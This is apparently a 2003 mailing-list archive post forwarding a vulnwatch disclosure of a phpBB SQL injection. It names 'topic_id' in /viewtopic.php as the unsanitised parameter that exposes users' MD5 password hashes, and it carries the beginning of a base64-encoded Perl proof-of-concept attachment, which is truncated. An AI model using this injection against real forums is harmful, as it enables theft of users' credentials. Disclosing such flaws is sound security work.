phpBB password disclosure by sql injection

ir0nkid at linuxjunkies.com ir0nkid at linuxjunkies.com
Fri Jun 20 03:43:43 CDT 2003


--MIMEStream=_0+206527_12638528333_143735178849
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

*heads up*

Thought i would forward this on seeing as how it's one of the most popular
out there right now

-------- Original Message --------
Subject: FW: phpBB password disclosure by sql injection
From: "Jacob Hurley" <jacobh at aos5.com>
To: <ir0nkid at buildtheb0x.com>, <ir0nkid at linuxjunkies.com>

   __
| / A__   Jacob Hurley           |
| __/ O  Linux+, CCNA           |
| / S__/  Alexander Open Systems |
| __/     913.307.2366           |

-----Original Message-----
From: Rick [mailto:rikul at bellsouth.net]
Sent: Thursday, June 19, 2003 2:28 AM
To: vulnwatch at vulnwatch.org
Subject: phpBB password disclosure by sql injection

Hi

There is sql injection vuln in phpBB. The variable "topic_id" is passed
directly from GET to sql query in /viewtopic.php. It can be used
to get md5 passwords for users. I am attaching details and proof of
concept code.  I've only tested this on mysql 4 and pgsql at my home
machines so I might have missed something...

Rick Patel

--MIMEStream=_0+206527_12638528333_143735178849
Content-Type: application/DEFANGED-199; name="phpbb_sql_pl_DEFANGED-2.DEFANGED-199"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="phpbb_sql_pl_DEFANGED-2.DEFANGED-199"

IyEvdXNyL2Jpbi9wZXJsIC13DQojDQojDQojCXBocEJCCXBhc3N3b3JkIGRpc2Nsb3N1cmUgdnVs
bi4NCiMJLSByaWNrIHBhdGVsCShyaWt1bDdAeWFob28uY29tKSAtDQojCQ0KIwlUaGVyZSBpcyBh
IHNxbCBpbmplY3Rpb24gdnVsbiB3aGljaCBleGlzdHMgaW4gL3ZpZXd0b3BpYy5waHAgZmlsZS4g
VGhlIHZhcmlhYmxlIGlzICR0b3BpY19pZA0KIwl3aGljaCBnZXRzIHBhc3NlZCBkaXJlY3RseSB0
byBzcWwgc2VydmVyIGluIHF1ZXJ5LiBBdHRhY2tlciBjb3VsZC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